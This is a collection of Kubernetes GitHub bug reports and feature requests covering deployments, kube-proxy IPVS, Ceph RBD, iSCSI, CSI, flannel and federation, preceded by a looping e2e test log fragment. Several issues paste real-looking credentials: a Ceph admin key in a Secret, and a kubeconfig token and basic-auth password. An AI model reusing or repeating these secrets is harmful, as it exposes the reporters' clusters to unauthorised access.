pod ready: false     waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false     waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false     waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false     waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false          <nil> 0xc420aefdd0 <nil> <nil> <nil> true  0xc420ca8198 0xc420ca81c0 0xc420ca81d0   0xc420ca8198 0xc420ca81c0 0xc420ca81d0   0xc420ca81a0 0xc420ca81b8 0xc420ca81c8   0x973630 0x973730 0x973730  0xc420376a20 <nil>}:     command stdout:     waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false     waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false     waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false     waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false     waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false     waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false     waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false     waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false     waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false     waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false     waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false     waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false     waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false     waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false     waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false     waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false     waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false     waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false     waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false     waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false     waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false     waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod ready: false     waiting for pod e2e-tests-kubectl-sc093/e2e-test-rm-busybox-job-rl9wp to be running, status is pending, pod

k8s 1.6.0:  when i try setting a deployment back to a version that already existed  i.e. a -> b -> a , i get the following error logged in k-c-m:\r \r    \r i0401 15:21:52.223300       5 deployment_controller.go:480  error syncing deployment kube-system/kube-dns: replicasets.extensions \ kube-dns-1321724180\  already exists\r i0401 15:21:52.232857       5 deployment_controller.go:480  error syncing deployment kube-system/kube-dns: replicasets.extensions \ kube-dns-1321724180\  already exists\r i0401 15:21:52.247466       5 deployment_controller.go:480  error syncing deployment kube-system/kube-dns: replicasets.extensions \ kube-dns-1321724180\  already exists\r i0401 15:21:52.272142       5 deployment_controller.go:480  error syncing deployment kube-system/kube-dns: replicasets.extensions \ kube-dns-1321724180\  already exists\r i0401 15:21:52.319308       5 deployment_controller.go:480  error syncing deployment kube-system/kube-dns: replicasets.extensions \ kube-dns-1321724180\  already exists\r e0401 15:21:52.404181       5 deployment_controller.go:485  replicasets.extensions \ kube-dns-1321724180\  already exists\r i0401 15:21:52.404279       5 deployment_controller.go:486  dropping deployment \ kube-system/kube-dns\  out of the queue: replicasets.extensions \ kube-dns-1321724180\  already exists\r    \r \r  in my case, i was changing the kube-dns config map from optional: true -> optional: false -> optional: true, around a 1.5 -> 1.6 -> 1.5 upgrade / downgrade \r \r this is particularly problematic because the new deployment is then not configured - the pod retains its old configuration.\r \r i was able to reproduce this repeatedly, but then i deleted the replicaset and the system was then able to recover and i could no longer reproduce it.\r \r

kubernetes version    use  kubectl version  :\r master\r \r   environment  :\r -   cloud provider or hardware configuration  : gce\r -   os    e.g. from /etc/os-release : debian, gci\r -   install tools  : cluster/kube-up.sh\r \r   what happened  :\r \r creating a cluster with gci uses the  /home/kubernetes/bin  directory for cni plugins.\r creating a cluster with debian uses the  /opt/cni/bin  directory for cni plugins, which is read-only on gci.\r \r this makes it impossible to create a daemonset which works for both image types.\r \r \r   what you expected to happen  :\r \r the cni installation directory should be the same across all image types.  in this case, it should be  /home/kubernetes/bin .\r \r cc @dnardo \r

the  validation logic  https://github.com/kubernetes/kubernetes/blob/886e04f1fffbb04faf8a9f9ee141143b2684ae68/pkg/api/v1/validation/validation.go l49  for gpus is not run if limits is not set for gpus. \r we need to check limits equals requests even if just request is set for gpus.\r \r @jiayingz can you fix this bug? this may be a good starter bug in k8s.

is this a bug report or feature request?  :\r \r   \r   what happened  :\r deprecated usage message is not getting printed , such as --container-port in kubectl export, --interactive in kubectl log,  --experimental-use-openapi-print-columns in kubectl get.\r \r because cobra is used in kubectl, the issue is imported by cobra.\r https://github.com/spf13/cobra/issues/463\r https://github.com/spf13/cobra/pull/466\r \r should we update cobra in vendor?\r \r $ kubectl expose --help\r expose a resource as a new kubernetes service. \r ...\r options:\r       ...\r       --container-port='': synonym for --target-port\r \r $ kubectl log --help\r ...\r options:\r      ...\r       --interactive=false: if true, prompt the user for input when required.\r \r \r   what you expected to happen  :\r $ kubectl expose --help\r expose a resource as a new kubernetes service. \r ...\r options:\r       ...\r       --container-port='':  --container-port will be removed in the future, please use --target-port instead\r \r $ kubectl log --help\r ...\r options:\r      ...\r       --interactive=false: this flag is no longer respected and there is no replacement.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t19:48:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r  \r   what happened  :\r upgraded to kuberenetes 1.9 and now ipvs mode in kube-proxy stopped working due to\r    \r i1218 09:59:28.446570       1 feature_gate.go:184  feature gates: map supportipvsproxymode:true \r e1218 09:59:28.463326       1 server_others.go:299  can't determine whether to use ipvs proxy, error: error getting ipset version, error: executable file not found in $path\r i1218 09:59:28.464584       1 server_others.go:138  using iptables proxier\r    \r   what you expected to happen  :\r \r normal startup as it's been working flawless in 1.8.5\r \r   how to reproduce it  as minimally and precisely as possible   :\r use kube-proxy with ipvs service mode on 1.9.0 hyperkube image from gcr\r \r   anything else we need to know?  :\r if i exec into the running kube-proxy pod and do  apt install ipset  then restart the container kube-proxy starts in ipvs mode fine\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t21:07:38z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t20:55:30z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: on-prem\r - os  e.g. from /etc/os-release : coreos container linux by coreos stable  1576.4.0 \r - kernel  e.g.  uname -a  : 4.13.16-coreos-r2\r - install tools: own\r - others:\r    \r docker version\r client:\r  version:      17.09.0-ce\r  api version:  1.32\r  go version:   go1.8.4\r  git commit:   afdb6d4\r  built:        tue sep 26 22:24:58 2017\r  os/arch:      linux/amd64\r \r server:\r  version:      17.09.0-ce\r  api version:  1.32  minimum version 1.12 \r  go version:   go1.8.4\r  git commit:   afdb6d4\r  built:        tue sep 26 22:24:58 2017\r  os/arch:      linux/amd64\r  experimental: false\r

i install ceph luminous, and create rbd pool. when i configure kubernetes to use ceph by storageclass, the pvc is pending. i have install ceph-common and modprobe rbd on kubernetes node（version:v1.8.3）.\r the config of ceph-secret and ceph-storageclass is like this:\r apiversion: v1\r kind: secret\r metadata:\r name: ceph-secret\r namespace: default\r type: \ kubernetes.io/rbd\ \r data:\r key: qvfbckvismfuvddvsxhbqxgwnxfnzgvnmzhsm012dg1iszfqmwc9pq==\r \r kind: storageclass\r apiversion: storage.k8s.io/v1\r metadata:\r name: ceph-iop\r provisioner: kubernetes.io/rbd\r parameters:\r monitors: 10.110.25.71:6789,10.110.25.72:6789,10.110.25.73:6789\r adminid: admin\r adminsecretname: ceph-secret\r adminsecretnamespace: default\r pool: rbd\r userid: admin\r usersecretname: ceph-secret\r imageformat: \ 1\ \r \r i found some error in kube-control-manager log is like this:\r 2018-03-22 07:30:32.039740 7f6e50267700 0 -- 10.110.22.81:0/1000234 >> 10.110.25.73:6789/0 pipe 0x7f6e3c001c30 sd=3 :39474 s=1 pgs=0 cs=0 l=1 c=0x7f6e3c005e10 .connect protocol feature mismatch, my fffffffffff < peer 4010ff8eea4fffb missing 401000000000000\r 2018-03-22 07:30:33.532998 7f6e568b8780 0 monclient hunting : authenticate timed out after 300\r 2018-03-22 07:30:33.554389 7f6e568b8780 0 librados: client.admin authentication error  110  connection timed out\r rbd: couldn't connect to the cluster!\r i0322 07:30:33.818456 1 pv_controller.go:1317  failed to provision volume for claim \ default/pvc\  with storageclass \ ceph-iop\ : failed to create rbd image: exit status 1, command output: 2018-03-22 07:25:33.379161 7f6e568b8780 -1 did not load config file, using default settings.

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-bugs \r \r   what happened  :\r csi spec allows for an empty fstype string.  this is intended for non-block plugins like nfs and gluster where filesystems are not separately created on the volume.\r    \r   // indicate that the volume will be accessed via the filesystem api.\r   message mountvolume {\r     // the filesystem type. this field is optional.\r     // an empty string is equal to an unspecified field value.\r     string fs_type = 1;\r   }\r    \r \r the kubernetes csi volume source api defaults fstype to \ ext4\  and doesn't allow an empty string:\r    \r         // filesystem type to mount.\r         // must be a filesystem type supported by the host operating system.\r         // ex. \ ext4\ , \ xfs\ , \ ntfs\ . implicitly inferred to be \ ext4\  if unspecified.\r         // +optional\r         fstype string\r    \r \r this makes it impossible for kubernetes to pass in an empty fs_type to the plugin.  \r \r   what you expected to happen  :\r since we currently leave fs creation and formatting up to the plugin, the plugin should be the one to decide the default.\r

apparently local-up-cluster worked fine with libressl, ref: https://github.com/kubernetes/kubernetes/pull/66690 issuecomment-410863925\r \r i can't get to this now but i'm going to forget if this is left in a pr comment\r \r /assign\r   fyi @liggitt

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r operation:  list   for kind:  namespace   with name:  null   in namespace:  null   failed.\r \r   what you expected to happen  :\r expected to create a namespace and receive next msg on the ui: _successfully created default namespace with name cbs-namespace_\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. clone the project: https://github.com/boroda4436/kubernetes-demo.git\r 2. add your google compute credentials key to resources/google_credentials.json and change your project name in application.properties\r 3. run main app\r 4. visit http://localhost:8080/ and click create cluster\r 5. after cluster will be deployed - click create_namespace\r \r create namespace command will fail and you will see error message right in your browser:\r \r     whitelabel error page\r this application has no explicit mapping for /error, so you are seeing this as a fallback.\r \r tue may 21 11:58:46 eest 2019\r there was an unexpected error  type=internal server error, status=500 .\r operation:  create  for kind:  namespace  with name:  null  in namespace:  null  failed.\r io.fabric8.kubernetes.client.kubernetesclientexception: operation:  create   for kind:  namespace   with name:  null   in namespace:  null   failed.\r \tat io.fabric8.kubernetes.client.kubernetesclientexception.launderthrowable kubernetesclientexception.java:64 \r \tat io.fabric8.kubernetes.client.kubernetesclientexception.launderthrowable kubernetesclientexception.java:72 \r \tat io.fabric8.kubernetes.client.dsl.base.baseoperation.create baseoperation.java:328 \r \tat io.fabric8.kubernetes.client.dsl.base.baseoperation.create baseoperation.java:321 \r \tat io.fabric8.kubernetes.client.dsl.base.baseoperation.lambda$createnew$0 baseoperation.java:336 \r \tat io.fabric8.kubernetes.api.model.doneablenamespace.done doneablenamespace.java:26 \r \tat com.boroda.kubernetes.demo.controller.kubeclustercontroller.createbasicnamespace kubeclustercontroller.java:90 \r \tat sun.reflect.nativemethodaccessorimpl.invoke0 native method \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    yes.  as this line shows,  https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/route/routecontroller.go l83      // todo  cjcullen : use pkg/controller/framework.newinformer to watch this // and reduce the number of lists needed.      @cjcullen do you have plan to change  from   list node   to   watch node  ?  btw, i have general question. - i find some controllers use  get/list  resource objects while some others use  watch . i wonder is there any rules that conduct us when to  get/list  and when to  watch .  in my opinion,  watch  can reduce some read/write pressure on api server & etcd compared with  get/list . why we still use  get/list  in some client side, such as route controller, kubelet and so on.  @wojtek-t @mqliang   thanks!

using the following configuration for replica set:      apiversion: extensions/v1beta1 kind: replicaset metadata:   name: wildfly-rs spec:   replicas: 2   selector:     matchlabels:       app: wildfly-rs-pod     matchexpressions:       - {key: tier, operator: in, values:  \ backend\  }       - {key: environment, operator: notin, values:  \ dev\  }   template:     metadata:       labels:         app: wildfly-rs-pod     spec:       containers:       - name: wildfly         image: jboss/wildfly         ports:         - containerport: 8080      creating the resource as:      kubectl.sh create -f wildfly-replicaset.yml       this gives the error:      the replicaset \ wildfly-rs\  is invalid. spec.template.metadata.labels: invalid value: {\ app\ :\ wildfly-rs-pod\ }:  selector  does not match template  labels       the resource does created successfully if  matchexpressions  fragment is removed.  the error message seems to indicate that  labels  are incorrect where as the  expressions  were not matching.

if the network plugin reports no available ips, we should at least send an event, and preferably mark pods as failed so the rc can recreate them elsewhere. we can't mark the nodes as notready because pods are running, but we can cordon it to ensure new pods land elsewhere.

we now have https://github.com/kubernetes/kubernetes/issues/19754 issuecomment-256837411  you can create a service like:       yaml apiversion: v1 kind: service metadata:   name: echoheaders-nodeport   annotations:     service.beta.kubernetes.io/external-traffic: onlylocal   labels:     app: echoheaders-nodeport spec:   type: nodeport   ports:   - port: 80     nodeport: 30416     targetport: 8080     protocol: tcp     name: http   selector:     app: echoheaders      and that will do what you expect  i.e traffic hitting the wrong node:nodeport gets blackholed, traffic hitting the right node is kept local . @justinsb will this just work with type=lb on aws?

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke-test/13853/  failed:  k8s.io  nodes  disruptive   k8s.io  network when a node becomes unreachable  replication controller  recreates pods scheduled on the unreachable node and allows scheduling of pods on a node after it rejoins the cluster {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/resize_nodes.go:543 expected error:     < errors.errorstring | 0xc8210de5a0>: {         s: \ failed to wait for pods responding: timed out waiting for the condition\ ,     }     failed to wait for pods responding: timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/resize_nodes.go:338      previous issues for this test:  27324  35852

\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/volumes.go:851\r error deleting pd\r expected error:\r     <volume.deletedvolumeinuseerror>: googleapi: error 400: the disk resource 'projects/kubernetes-pr-cri-validation/zones/us-central1-f/disks/e2e-gce-agent-pr-61-0-42a0dec6-17e0-11e7-b9c0-0242ac110002' is already being used by 'projects/kubernetes-pr-cri-validation/zones/us-central1-f/instances/e2e-gce-agent-pr-61-0-minion-group-zc50', resourceinusebyanotherresource\r     googleapi: error 400: the disk resource 'projects/kubernetes-pr-cri-validation/zones/us-central1-f/disks/e2e-gce-agent-pr-61-0-42a0dec6-17e0-11e7-b9c0-0242ac110002' is already being used by 'projects/kubernetes-pr-cri-validation/zones/us-central1-f/instances/e2e-gce-agent-pr-61-0-minion-group-zc50', resourceinusebyanotherresource\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/pv_util.go:540\r    \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/43965/pull-kubernetes-e2e-gce-non-cri/5987/\r \r @kubernetes/sig-storage-test-failures

failure cluster  9aaafb22e4a15a638552  https://go.k8s.io/triage 9aaafb22e4a15a638552        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/proxy.go:276 expected error:     < errors.errorstring | 0xc420c2dd00>: {         s: \ failed to get endpoints for e2e-tests-proxy-x9ld2/proxy-service-qsxsg\ ,     }     failed to get endpoints for e2e-tests-proxy-x9ld2/proxy-service-qsxsg not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/proxy.go:155           failure cluster statistics: 1 tests failed,    27 jobs failed,    280 builds failed. failure stats cover 1 day time range '21 aug 2017 16:19 utc' to '22 aug 2017 16:19 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  sig-network  proxy version v1 should proxy through a service and a pod  conformance  | 27 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gke-multizone | 25 |  22 aug 2017 15:33 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-multizone/13602  | | ci-kubernetes-e2e-kops-aws | 25 |  22 aug 2017 15:18 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kops-aws/15309  | | ci-kubernetes-e2e-gke-multizone | 23 |  22 aug 2017 15:45 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-multizone/14347  |  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | rrati |  sig-network  proxy version v1 should proxy through a service and a pod  conformance  | | sig/node |  sig-network  proxy version v1 should proxy through a service and a pod  conformance  |  </details><br>   current status  https://go.k8s.io/triage 9aaafb22e4a15a638552

  \r when the  restartstrategy  is set to  never  and a container that was granted exclusive cpus terminates with a normal exit status, the cpu manager never receives a  removecontainer  call. kuberuntime should be updated to invoke the container manager's  poststopcontainer  hook on detecting normal termination for these containers. this method is already idempotent since it is currently invoked both from kuberuntime's  killcontainer  and  removecontainer   the latter of which is invoked by gc. \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   start singleton cluster with static cpu manager policy enabled.\r   start a guaranteed pod with a single container that consumes 1 cpu  to get an exclusive allocation  with restartpolicy never that simply exits  0 .\r   try to start a similar container that won't fit on the node unless the first container's cpu is reaped.\r   observe the second container fails with insufficient cpus, and this problem does not resolve even after an extended period of time.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8 beta\r - cloud provider or hardware configuration  : all\r - os  e.g. from /etc/os-release : all\r \r cc @derekwaynecarr @sjenning @balajismaniam

does kubernetes support  singularity  http://singularity.lbl.gov ?

i want to use iscsi on k8s 1.8.2, but throw an error on kubelet log\r \r     nov 14 16:41:09 server-222 kubelet: e1114 16:41:09.553260    1188 iscsi_util.go:233  iscsi: failed to rescan session with error: iscsiadm: no session found.\r     nov 14 16:41:09 server-222 kubelet:  exit status 21 \r     nov 14 16:41:09 server-222 kernel: scsi host18: iscsi initiator over tcp/ip\r     nov 14 16:41:09 server-222 kubelet: e1114 16:41:09.632195    1188 iscsi_util.go:293  iscsi: failed to get any path for iscsi disk, last err seen:\r     nov 14 16:41:09 server-222 kubelet: iscsi: failed to attach disk: error: iscsiadm: could not login to  iface: default, target: iqn.2017-11.cn.falseuser:storage.target00, portal: 172.22.117.221,3260 .\r     nov 14 16:41:09 server-222 kubelet: iscsiadm: initiator reported error  19 - encountered non-retryable iscsi login failure \r     nov 14 16:41:09 server-222 kubelet: iscsiadm: could not log into all portals\r     nov 14 16:41:09 server-222 kubelet: logging in to  iface: default, target: iqn.2017-11.cn.falseuser:storage.target00, portal: 172.22.117.221,3260   multiple \r     nov 14 16:41:09 server-222 kubelet:  exit status 19 \r     nov 14 16:41:09 server-222 kubelet: e1114 16:41:09.632435    1188 nestedpendingoperations.go:264  operation for \ \\\ kubernetes.io/iscsi/172.22.117.221:3260:iqn.2017-11.cn.falseuser:storage.target00:0\\\ \  failed. no retries permitted until 2017-11-14 16:41:41.632354441 +0800 cst  durationbeforeretry 32s . error: mountvolume.waitforattach failed for volume \ is\   uniquename: \ kubernetes.io/iscsi/172.22.117.221:3260:iqn.2017-11.cn.falseuser:storage.target00:0\   pod \ pod-volume\   uid: \ 336d1e55-c917-11e7-8221-0e67df33d01b\   : failed to get any path for iscsi disk, last err seen:\r     nov 14 16:41:09 server-222 kubelet: iscsi: failed to attach disk: error: iscsiadm: could not login to  iface: default, target: iqn.2017-11.cn.falseuser:storage.target00, portal: 172.22.117.221,3260 .\r     nov 14 16:41:09 server-222 kubelet: iscsiadm: initiator reported error  19 - encountered non-retryable iscsi login failure \r     nov 14 16:41:09 server-222 kubelet: iscsiadm: could not log into all portals\r     nov 14 16:41:09 server-222 kubelet: logging in to  iface: default, target: iqn.2017-11.cn.falseuser:storage.target00, portal: 172.22.117.221,3260   multiple \r     nov 14 16:41:09 server-222 kubelet:  exit status 19 \r \r my iscsi volume config yaml as: \r \r       - name: is\r         iscsi:\r           targetportal: 172.22.117.221:3260\r           iqn: iqn.2017-11.cn.falseuser:storage.target00\r           lun: 0\r           fstype: ext4\r           readonly: false\r           chapauthdiscovery: true\r           chapauthsession: true\r           secretref:\r             name: chap-secret\r \r i test manually connect iscsi target on node, it works\r but on k8s it failed

the api server and the kubelet now expose custom metrics. these are useful for introspection and performance analysis of the system. heapster needs to aggregate them and push to monitoring backends.

<!--- provide a general summary of the issue in the title above -->\r pods on some nodes in k8s cluster production  can not communicate with other pods and nodes. \r after debugging, i find some rules are missing, compared with a good one on other node  there is the difference:\r \r ! 3efd8c17982e975c89be5cc0b1840020  https://user-images.githubusercontent.com/12841814/38293318-97a790c2-3819-11e8-9876-9ad3fb05f01f.png \r \r additionally, i find some \ error log\  in kube-proxy: \r    \r failed to execute iptables-restore: exit status 1  iptables-restore: line 3868 failed \r    \r \r the problem looks like: \r    flannel and kube-proxy race for postrouting chain  https://github.com/kubernetes/kubernetes/issues/20391 \r    --ip-masq should also add masquerade from outer net to flannel net  https://github.com/coreos/flannel/issues/318 \r    a pod can't direct traffic to itself via a service   https://github.com/kubernetes/kubernetes/issues/20475 \r \r i start  flanneld  with  --ip-masq  option.\r    \r   cat /etc/default/flanneld\r flannel_opts=\ --etcd-endpoints=http://127.0.0.1:4001  --ip-masq  --iface=x.x.x.x\ \r    \r \r runtime:\r    \r   cat /var/run/flannel/subnet.env\r flannel_network=10.135.0.0/16\r flannel_subnet=10.135.26.1/24\r flannel_mtu=1450\r flannel_ipmasq=true\r    \r    \r \r \r \r my environment\r <!--- include as many relevant details about the environment you experienced the bug in -->\r   flannel version: 0.5.5\r   backend used  e.g. vxlan or udp :\r   etcd version: 2.2.1\r   kubernetes version  if used : 1.4.9\r   operating system and version:  ubuntu 14.04 3.19.0-25-generic x86_64\r \r

i'm trying to add a clusters to federation using kubefed join : \r this is the federation kube config file : \r    \r apiversion: v1\r clusters:\r - cluster:\r     certificate-authority-data: redacted\r     server: https://k8s-apiserver.cluster.local:8443\r   name: kubernetes\r - cluster:\r     certificate-authority-data: redacted\r     server: https://172.16.1.4:32471\r   name: federation\r - cluster:\r     insecure-skip-tls-verify: true\r     server: https://139.54.130.49:32046\r   name: kubernetes-s1\r contexts:\r - context:\r     cluster: kubernetes\r     namespace: default\r     user: kubectl\r   name: default-context\r - context:\r     cluster: federation\r     user: federation\r   name: federation\r - context:\r     cluster: kubernetes\r     namespace: kube-system\r     user: kubectl\r   name: kube-system-context\r - context:\r     cluster: kubernetes-s1\r     namespace: default\r     user: kubernetes-admins1\r   name: kubernetes-admin-s1\r current-context: federation\r kind: config\r preferences: {}\r users:\r - name: federation\r   user:\r     client-certificate-data: redacted\r     client-key-data: redacted\r     token: e7506989-42eb-11e8-bf70-fa163eb593a3\r - name: federation-basic-auth\r   user:\r     password: e7506937-42eb-11e8-bf70-fa163eb593a3\r     username: admin\r - name: kubectl\r   user:\r     client-certificate-data: redacted\r     client-key-data: redacted\r - name: kubernetes-admins1\r   user:\r     token: eyjhbgcioijsuz............\r    \r \r i run this command : kubefed join site-1 --host-cluster-context=default-context --cluster-context=kubernetes-admin-s1 --insecure-skip-tls-verify=true,   the cluster is created but with offline status , is not reacheable ;   \r i'm using token bearer to reach the api server of the target cluster; \r where am i going wrong ? \r \r \r  

kubelet was started with the following flag:\r \r    \r $ sudo journalctl | grep node-labels\r jul 30 12:08:31 gke-scale-to-0-extra-pool-2-5c4c4233-xl7x kubelet 1540 : i0730 12:08:31.788159    1540 flags.go:27  flag: --node-labels=\ beta.kubernetes.io/fluentd-ds-ready=true,cloud.google.com/gke-nodepool=extra-pool-2\ \r    \r \r but the node doesn't have the labels:\r \r    \r $ kubectl describe node gke-scale-to-0-extra-pool-2-5c4c4233-xl7x\r name:               gke-scale-to-0-extra-pool-2-5c4c4233-xl7x\r roles:              <none>\r labels:             beta.kubernetes.io/arch=amd64\r                     beta.kubernetes.io/instance-type=n1-standard-4\r                     beta.kubernetes.io/os=linux\r                     failure-domain.beta.kubernetes.io/region=us-central1\r                     failure-domain.beta.kubernetes.io/zone=us-central1-c\r                     kubernetes.io/hostname=gke-scale-to-0-extra-pool-2-5c4c4233-xl7x\r annotations:        container.googleapis.com/instance_id=5978818005557264751\r                     node.alpha.kubernetes.io/ttl=0\r                     volumes.kubernetes.io/controller-managed-attach-detach=true\r taints:             <none>\r    \r \r this is causing autoscaling tests to fail:  should be able to scale a node group down to 0 feature:clustersizeautoscalingscaledown   https://k8s-testgrid.appspot.com/sig-autoscaling-cluster-autoscaler gci-gke-autoscaling  \r \r ~~tests and above replication come from gke, but given that the flag is passed all the way to kubelet, i'd guess this isn't specific to that environment.~~

is this a bug report or feature request?  :\r \r >  \r   what happened  :\r \r we deploy a new version of our app by changing the  spec.template.spec.containers 0 .image  attribute of the deployment yaml, as described in  the documentation  https://kubernetes.io/docs/concepts/workloads/controllers/deployment/ updating-a-deployment  for  deployment  controllers...\r \r the  deployment  yaml looks like this:\r \r    \r apiversion: apps/v1beta2\r kind: deployment\r metadata:\r   annotations:\r     deployment.kubernetes.io/revision: \ 17\ \r     field.cattle.io/creatorid: user-5jgmc\r   creationtimestamp: 2018-10-02t04:54:33z\r   generation: 45\r   labels:\r     workload.user.cattle.io/workloadselector: deployment-cms-app\r   name: app\r   namespace: cms\r   resourceversion: \ 175227\ \r   selflink: /apis/apps/v1beta2/namespaces/cms/deployments/app\r   uid: 40eeb300-c5ff-11e8-91dc-001b21dc82ba\r spec:\r   minreadyseconds: 5\r   progressdeadlineseconds: 60\r   replicas: 3\r   revisionhistorylimit: 10\r   selector:\r     matchlabels:\r       workload.user.cattle.io/workloadselector: deployment-cms-app\r   strategy:\r     rollingupdate:\r       maxsurge: 1\r       maxunavailable: 0\r     type: rollingupdate\r   template:\r     metadata:\r       annotations:\r         workload.cattle.io/state: '{\ b3zolwjtlte=\ :\ c-gw6hx:m-190d5b1abdb1\ ,\ b3zolwjtltm=\ :\ c-gw6hx:m-93ddef52ec17\ ,\ b3zolwrilte=\ :\ c-mjbqh:m-cfa61f40f7d7\ }'\r       creationtimestamp: null\r       labels:\r         workload.user.cattle.io/workloadselector: deployment-cms-app\r     spec:\r       affinity: {}\r       containers:\r       - env:\r         - <redacted>\r         image: registry.ourdomain.com:5000/namespace/app:31848589\r         imagepullpolicy: always\r         livenessprobe:\r           failurethreshold: 3\r           httpget:\r             path: /robots.txt\r             port: 80\r             scheme: http\r           initialdelayseconds: 2\r           periodseconds: 5\r           successthreshold: 1\r           timeoutseconds: 5\r         name: app\r         readinessprobe:\r           failurethreshold: 3\r           httpget:\r             path: /robots.txt\r             port: 80\r             scheme: http\r           initialdelayseconds: 2\r           periodseconds: 5\r           successthreshold: 2\r           timeoutseconds: 5\r         resources: {}\r         securitycontext:\r           allowprivilegeescalation: false\r           privileged: false\r           